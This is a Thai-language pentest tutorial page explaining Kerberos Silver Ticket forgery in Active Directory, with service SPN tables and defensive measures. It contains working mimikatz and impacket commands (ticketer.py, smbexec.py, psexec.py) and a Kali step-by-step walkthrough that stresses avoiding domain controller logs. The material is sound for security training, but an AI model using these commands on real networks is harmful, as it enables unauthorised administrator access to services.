Silver Ticket
Silver Ticket คือการปลอม TGS (service ticket) ด้วย hash ของ service account/computer account — เข้าถึงเฉพาะ service นั้นได้โดยไม่ต้องคุยกับ DC ทำให้เนียนกว่า Golden Ticket มาก บทนี้ลงลึกกลไก, สิ่งที่ต้องเตรียม, SPN ของแต่ละ service, การสร้างและใช้, ความเนียน และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — ปลอม TGS ตรงไป service
ต่างจาก Golden Ticket (ปลอม TGT ที่ใช้ krbtgt), Silver Ticket ปลอม TGS (ตั๋วเข้า service เฉพาะ) ที่เข้ารหัสด้วย hash ของ service account ที่รัน service นั้น (หรือ computer account$ สำหรับ service บนเครื่อง) จุดสำคัญ: TGS ถูก service ตรวจเองโดยไม่ต้องถาม DC — ดังนั้นถ้ามี hash ของ service account เราปลอม TGS เข้า service นั้นได้ โดยไม่แตะ DC เลย ทำให้เนียนกว่า Golden Ticket มาก (ไม่มี log ที่ DC) แต่จำกัดเฉพาะ service ที่เรามี hash
2. สิ่งที่ต้องเตรียม
| ต้องมี | ได้จากไหน |
|---|---|
| hash ของ service/computer account | Kerberoast, DCSync, dump จากเครื่อง |
| Domain SID | whoami /user, lookupsid.py |
| SPN ของ service เป้าหมาย | รู้จาก service ที่จะเข้า (ดู section 3) |
| username ที่จะปลอม | เลือกเอง (เช่น Administrator) |
hash ที่ใช้คือของบัญชีที่รัน service — ถ้าเป็น service บนเครื่อง (CIFS, HOST) ใช้ hash ของ computer account (ลงท้าย $) ซึ่ง dump ได้จากเครื่องที่ยึดแล้ว
3. SPN ของแต่ละ service
| service ที่ต้องการ | SPN type | ใช้ทำอะไร |
|---|---|---|
| CIFS | cifs/host | เข้าถึง file share (\\host\C$) |
| HOST | host/host | scheduled task, service ทั่วไป |
| HTTP | http/host | WinRM, web service |
| MSSQL | mssqlsvc/host:port | เข้าถึง SQL Server |
| LDAP | ldap/host | operation บน DC (ระวัง) |
| WSMAN/WinRM | wsman/host | remote PowerShell |
cifs/server เพื่อเข้า file share, mssqlsvc/server:1433 เพื่อเข้า SQL; ต้องมี hash ของบัญชีที่รัน service นั้น4. สร้าง Silver Ticket
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:SERVICE_ACCOUNT_NTLM /ptt
# /target = FQDN ของเครื่องที่รัน service
# /service = ชนิด service (cifs/host/http/mssqlsvc/...)
# /rc4 = NTLM hash ของ service/computer account
# /ptt = inject เข้า session
# ต่างจาก Golden: มี /target + /service, ใช้ hash ของ service (ไม่ใช่ krbtgt)# สร้าง silver ticket (-spn ระบุ service)
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain domain.local -spn cifs/server.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
# ใช้เข้าถึง service นั้น
smbexec.py -k -no-pass domain.local/Administrator@server.domain.local
psexec.py -k -no-pass domain.local/Administrator@server.domain.local5. ความเนียน vs Golden
- ไม่แตะ DC: Silver Ticket ตรงไป service — ไม่มี TGS request ที่ DC (ต่างจาก Golden ที่ขอ TGS จาก DC) = log น้อยกว่ามาก
- จำกัดขอบเขต: เข้าได้เฉพาะ service ที่มี hash — ไม่ใช่ทั้งโดเมน (ต่างจาก Golden)
- คงทน: valid จนกว่า service account เปลี่ยนรหัส (computer account เปลี่ยนทุก ~30 วันโดย default)
- ใช้เมื่อ: มี hash ของ service/computer แต่ไม่มี krbtgt — หรือต้องการเนียนเข้าเครื่องเฉพาะ
- PAC validation: ถ้าเปิด PAC validation (บางการตั้งค่า) service จะถาม DC — ลดความเนียน (มักปิด default)
6. การป้องกัน
- เปลี่ยนรหัส service account สม่ำเสมอ (gMSA เปลี่ยนอัตโนมัติ) → ตัด Silver Ticket เก่า
- เปิด PAC validation (ให้ service ตรวจกับ DC) — ลดการปลอม TGS
- ปกป้อง hash ของ service/computer account (ป้องกัน Kerberoast/DCSync)
- monitor การเข้าถึง service ที่ไม่มี TGT/TGS request คู่กันที่ DC
- ใช้รหัสยาวสำหรับ service account → crack ยาก (กัน Kerberoast ที่นำไป Silver)
7. Quick Reference
- ปลอม TGS ด้วย hash ของ service/computer account → เข้า service เฉพาะ
- ไม่แตะ DC = เนียนกว่า Golden (แต่จำกัดขอบเขต)
- ต้องมี: service/computer hash, domain SID, SPN, FQDN
- Windows: mimikatz golden + /target + /service + /rc4:SERVICE_HASH
- Linux: ticketer.py -nthash SVC -spn cifs/server ...
- SPN: cifs(share), host(task), http(WinRM), mssqlsvc(SQL)
- ป้องกัน: เปลี่ยนรหัส service, PAC validation, gMSA
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติมี hash ของ service/computer account (จาก Kerberoasting หรือ dump เครื่องที่ยึดได้) แต่ไม่มี krbtgt hash มีแค่ Kali ทำตามนี้ปลอม TGS เข้า service เฉพาะแบบเนียนๆ
- 1ยืนยันของที่มี: hash ของ service/computer account, domain SID, SPN ของ service เป้าหมาย, domain FQDN
- 2เลือก SPN ตามสิ่งที่อยากทำ (cifs=share, host=task, http=WinRM, mssqlsvc=SQL)
- 3สร้าง ticket:
ticketer.py -nthash <SERVICE_HASH> -domain-sid <SID> -domain domain.local -spn cifs/server.domain.local Administrator - 4ตั้งใช้งาน:
export KRB5CCNAME=Administrator.ccache - 5ทดสอบเข้า:
smbexec.py -k -no-pass domain.local/Administrator@server.domain.local(เปลี่ยนตาม SPN ที่เลือก) - 6ถ้าเข้าไม่ได้ตรวจว่า SPN ตรงกับ service จริงไหม (เช่นเลือก cifs แต่ hash เป็นของ HTTP)
- 7ถ้าต้องการเข้า service อื่นด้วย ทำ ticket ใหม่ทีละ SPN (silver ticket จำกัดแค่ service เดียว)
- 8ถ้า scope ไม่พอ (อยากได้ทั้งโดเมน) → ต้องมี krbtgt hash แทน (ไป DCSync/Golden Ticket ก่อน)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา service/computer hash | impacket (GetUserSPNs.py) / hashcat | - | - |
| หา domain SID | impacket (lookupsid.py) | - | - |
| สร้าง Silver Ticket | impacket (ticketer.py) | - | - |
| ใช้ ticket เข้า service | impacket (smbexec.py/psexec.py) | - | - |
| sync เวลากับ DC | ntpdate / rdate | apt install ntpdate | - |
| ยืนยัน creds เดิม | netexec (crackmapexec) | apt install netexec | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้